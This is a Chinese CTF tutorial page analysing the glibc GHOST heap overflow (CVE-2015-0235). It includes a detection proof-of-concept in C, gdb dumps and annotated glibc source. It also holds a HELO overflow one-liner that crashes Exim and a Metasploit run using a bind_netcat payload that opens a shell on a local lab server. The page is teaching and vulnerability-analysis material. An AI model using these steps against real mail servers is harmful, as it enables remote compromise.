📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 漏洞描述
  • 漏洞复现
  • 漏洞分析
  • Exim exploit
  • 参考资料

Was this helpful?

  1. 七、实战篇
  2. CVE

7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞

Previous7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞Next7.1.3 CVE-2016-4971 wget 任意文件上传漏洞

Last updated 3 years ago

Was this helpful?

漏洞描述

glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 __nss_hostname_digits_dots() 存在缓冲区溢出,可以通过 gethostbyname*() 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。

漏洞复现

推荐使用的环境
备注

操作系统

Ubuntu 12.04

体系结构:64 位

调试器

gdb-peda

版本号:7.4

漏洞软件

glibc

版本号:2.15

受影响软件

Exim4

版本号:4.80

通过下面的 PoC 可以知道自己的系统是否受到影响:

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
$ file /lib/x86_64-linux-gnu/libc-2.15.so
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
$ gcc -g poc.c
$ ./a.out
vulnerable

很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+*host_addr+*h_addr_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。

函数 gethostbyname_r() 在 include/netdb.h 中定义如下:

struct hostent {
    char  *h_name;            /* official name of host */
    char **h_aliases;         /* alias list */
    int    h_addrtype;        /* host address type */
    int    h_length;          /* length of address */
    char **h_addr_list;       /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */

int gethostbyname_r(const char *name,
        struct hostent *ret, char *buf, size_t buflen,
        struct hostent **result, int *h_errnop);
  • name:网页的 host 名称

  • ret:成功时用于存储结果

  • buf:临时缓冲区,存储过程中的各种信息

  • buflen:缓冲区大小

  • result:成功时指向 ret

  • h_errnop:存储错误码

执行前:

gdb-peda$ x/6gx temp.buffer
0x601060 <temp>:	0x0000726566667562	0x0000000000000000  <-- buffer  <-- host_addr
0x601070 <temp+16>:	0x0000000000000000	0x0000000000000000              <-- h_addr_ptrs
0x601080 <temp+32>:	0x0000000000000000	0x0000000000000000              <-- hostname
gdb-peda$ x/20gx temp.canary-0x10
0x601450 <temp+1008>:	0x0000000000000000	0x0000000000000000
0x601460 <temp+1024>:	0x635f6568745f6e69	0x656e696d5f6c616f  <-- canary
0x601470 <temp+1040>:	0x0000000000000000	0x0000000000000000

执行后:

gdb-peda$ x/6gx temp.buffer
0x601060 <temp>:	0x0000000000000000	0x0000000000000000  <-- buffer  <-- host_addr
0x601070 <temp+16>:	0x0000000000601060	0x0000000000000000              <-- h_addr_ptrs
0x601080 <temp+32>:	0x0000000000000000	0x3030303030303030              <-- h_alias_ptr, hostname
gdb-peda$ x/6gx temp.canary-0x10
0x601450 <temp+1008>:	0x3030303030303030	0x3030303030303030
0x601460 <temp+1024>:	0x0030303030303030	0x656e696d5f6c616f  <-- canary
0x601470 <temp+1040>:	0x0000000000000000	0x0000000000000000

canary 被覆盖了 8 个字节,即溢出了 8 个字节。

漏洞分析

grep -irF '__nss_hostname_digits_dots' ./*
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
[...]
./nss/getXXbyYY.c:      if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
./nss/getXXbyYY_r.c:  switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,

通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 HANDLE_DIGITS_DOTS 被定义:

// inet/gethstbynm.c
#define NEED_H_ERRNO	1

// nss/getXXbyYY_r.c
#ifdef HANDLE_DIGITS_DOTS
  if (buffer != NULL)
    {
      if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
				      &buffer_size, 0, &result, NULL, AF_VAL,
				      H_ERRNO_VAR_P))
	goto done;
    }
#endif

具体程序如下(来自glibc-2.17):

// nss/digits_dots.c
int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
                char **buffer, size_t *buffer_size,
                size_t buflen, struct hostent **result,
                enum nss_status *status, int af, int *h_errnop)
{
    [...]
    if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
    {
        const char *cp;
        char *hostname;
        typedef unsigned char host_addr_t[16];
        host_addr_t *host_addr;
        typedef char *host_addr_list_t[2];
        host_addr_list_t *h_addr_ptrs;
        char **h_alias_ptr;
        size_t size_needed;

        [...]
        // size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0')
        size_needed = (sizeof (*host_addr)
                + sizeof (*h_addr_ptrs) + strlen (name) + 1);

        if (buffer_size == NULL)    // 重入分支
        {
            if (buflen < size_needed)
            {
            [...]
            goto done;
            }
        }
        else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
        {
            char *new_buf;
            *buffer_size = size_needed;
            new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大

            if (new_buf == NULL)
            {
                [...]
                goto done;
            }
            *buffer = new_buf;
        }

        [...]
        // 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
        // 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节
        host_addr = (host_addr_t *) *buffer;
        h_addr_ptrs = (host_addr_list_t *)
            ((char *) host_addr + sizeof (*host_addr));
        h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
        hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);

        if (isdigit (name[0]))
        {
            for (cp = name;; ++cp)
            {
                if (*cp == '\0')
		        {
		            int ok;

                    if (*--cp == '.')
                        break;

                    [...]
                    if (af == AF_INET)
                        ok = __inet_aton (name, (struct in_addr *) host_addr);
                    else
                    {
                        assert (af == AF_INET6);
                        ok = inet_pton (af, name, host_addr) > 0;
                    }
                    if (! ok)
                    {
                        [...]
                        goto done;
                    }

                    resbuf->h_name = strcpy (hostname, name);   // 复制 name 到 hostname,触发缓冲区溢出

                    [...]
                    goto done;
                }

                if (!isdigit (*cp) && *cp != '.')
                    break;
            }
        }

注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:

  • name 的第一个字符必须是数字

  • name 的最后一个字符不能是 "."

  • name 的所有字符只能是数字或者 "."

  • 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff

对比一下 glibc-2.18 的代码,也就是把 h_alias_ptr 的长度加上了,问题完美解决:

        size_needed = (sizeof (*host_addr)
                + sizeof (*h_addr_ptrs)
                + sizeof (*h_alias_ptr) + strlen (name) + 1);

Exim exploit

$ sudo apt-get install libpcre3-dev
$ git clone https://github.com/Exim/exim.git
$ cd exim/src
$ git checkout exim-4_80
$ mkdir Local
$ cp src/EDITME Local/Makefile
$ #修改 Makefile 中的 EXIM_USER=你的用户名
$ #注释掉 EXIM_MONITOR=eximon.bin
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
$ make && sudo make install

最后为了能够调用 smtp_verify_helo(),在 Exim 的配置文件中必须开启 helo_verify_hosts 或 helo_try_verify_hosts。在文件 /var/lib/exim4/config.autogenerated 中的 acl_smtp_mail 一行下面加上 helo_try_verify_hosts = * 或者 helo_verify_hosts = *:

acl_smtp_mail = MAIN_ACL_CHECK_MAIL

helo_try_verify_hosts = *

更新并重启软件即可:

$ update-exim4.conf
$ exim4 -bP | grep helo_try
helo_try_verify_hosts = *
$ sudo /etc/init.d/exim4 stop
$ sudo /usr/exim/bin/exim -bdf -d+all

这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。

先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么:

$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
^CConnection closed by foreign host.
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]

结果如下:

17:00:47  5577 Process 5577 is ready for new message
17:00:47  5577 smtp_setup_msg entered
17:00:55  5577 SMTP<< HELO 0123456789
17:00:55  5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
17:00:55  5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
17:00:55  5577 set_process_info:  5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
17:00:55  5577 verifying EHLO/HELO argument "0123456789"
17:00:55  5577 getting IP address for 0123456789
17:00:55  5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
17:00:55  5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
17:00:55  5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55  5577 LOG: host_lookup_failed MAIN
17:00:55  5577   no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55  5577 HELO verification failed but host is in helo_try_verify_hosts
17:00:55  5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
// src/src/smtp_in.c
int
smtp_setup_msg(void)
{
[...]
while (done <= 0)
  {
  [...]
  switch(smtp_read_command(TRUE))
    {
    [...]
    case HELO_CMD:
    HAD(SCH_HELO);
    hello = US"HELO";
    esmtp = FALSE;
    goto HELO_EHLO;

    case EHLO_CMD:
    HAD(SCH_EHLO);
    hello = US"EHLO";
    esmtp = TRUE;

    // 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程
    HELO_EHLO:      /* Common code for HELO and EHLO */
    cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
    cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;

    /* Reject the HELO if its argument was invalid or non-existent. A
    successful check causes the argument to be saved in malloc store. */

    if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
      {
      [...]
      break;
      }
      [...]
      helo_verified = helo_verify_failed = FALSE;
      if (helo_required || helo_verify)
        {
        BOOL tempfail = !smtp_verify_helo();    // 验证 HELO 是否有效
        if (!helo_verified)
          {
          if (helo_required)
            {
            [...]
            }
          HDEBUG(D_all) debug_printf("%s verification failed but host is in "
            "helo_try_verify_hosts\n", hello);
          }
        }

继续看函数 smtp_verify_helo():

// src/src/smtp_in.c
BOOL
smtp_verify_helo(void)
{
  [...]
  if (!helo_verified)
    {
    int rc;
    host_item h;
    h.name = sender_helo_name;
    h.address = NULL;
    h.mx = MX_NONE;
    h.next = NULL;
    HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
      sender_helo_name);
    rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
    if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
    [....]
    }
  }
// src/src/host.c
int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
  uschar **fully_qualified_name, BOOL local_host_check)
{
[...]
for (i = 1; i <= times;
     #if HAVE_IPV6
       af = AF_INET,     /* If 2 passes, IPv4 on the second */
     #endif
     i++)
  {
  [...]
  #if HAVE_IPV6
  if (running_in_test_harness)
    hostdata = host_fake_gethostbyname(host->name, af, &error_num);
  else
    {
    #if HAVE_GETIPNODEBYNAME
    hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
    #else
    hostdata = gethostbyname2(CS host->name, af);
    error_num = h_errno;
    #endif
    }

  #else    /* not HAVE_IPV6 */
  if (running_in_test_harness)
    hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
  else
    {
    hostdata = gethostbyname(CS host->name);
    error_num = h_errno;
    }
  #endif   /* HAVE_IPV6 */

函数 host_find_byname 调用了 gethostbyname() 和 gethostbyname2() 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。

这一次我们输入这样的一串字符,即可导致溢出:

$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"

但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。

Connection closed by foreign host.
$ dmesg | grep exim
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]

其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开:

$ /etc/init.d/exim4 restart
msf > search exim

Matching Modules
================

   Name                                          Disclosure Date  Rank       Description
   ----                                          ---------------  ----       -----------
   exploit/linux/smtp/exim4_dovecot_exec         2013-05-03       excellent  Exim and Dovecot Insecure Configuration Command Injection
   exploit/linux/smtp/exim_gethostbyname_bof     2015-01-27       great      Exim GHOST (glibc gethostbyname) Buffer Overflow
   exploit/unix/local/exim_perl_startup          2016-03-10       excellent  Exim "perl_startup" Privilege Escalation
   exploit/unix/smtp/exim4_string_format         2010-12-07       excellent  Exim4 string_format Function Heap Buffer Overflow
   exploit/unix/webapp/wp_phpmailer_host_header  2017-05-03       average    WordPress PHPMailer Host Header Command Injection


msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options

Module options (exploit/linux/smtp/exim_gethostbyname_bof):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   RHOST                127.0.0.1        yes       The target address
   RPORT                25               yes       The target port (TCP)
   SENDER_HOST_ADDRESS  127.0.0.1        yes       The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)


Payload options (cmd/unix/bind_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  127.0.0.1        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit

[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800

whoami
Debian-exim
id
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)

Bingo!!!成功获得了一个反弹 shell。

对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。

参考资料

可以看到它最终调用了 gethostbyname2() 函数来解析来自 SMTP 客户端的数据包。具体代码如下:

github
CVE-2015-0235 Detail
Qualys Security Advisory CVE-2015-0235
Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)
Exim ESMTP 4.80 - glibc gethostbyname Denial of Service
下载文件
漏洞描述
漏洞复现
漏洞分析
Exim expolit
参考资料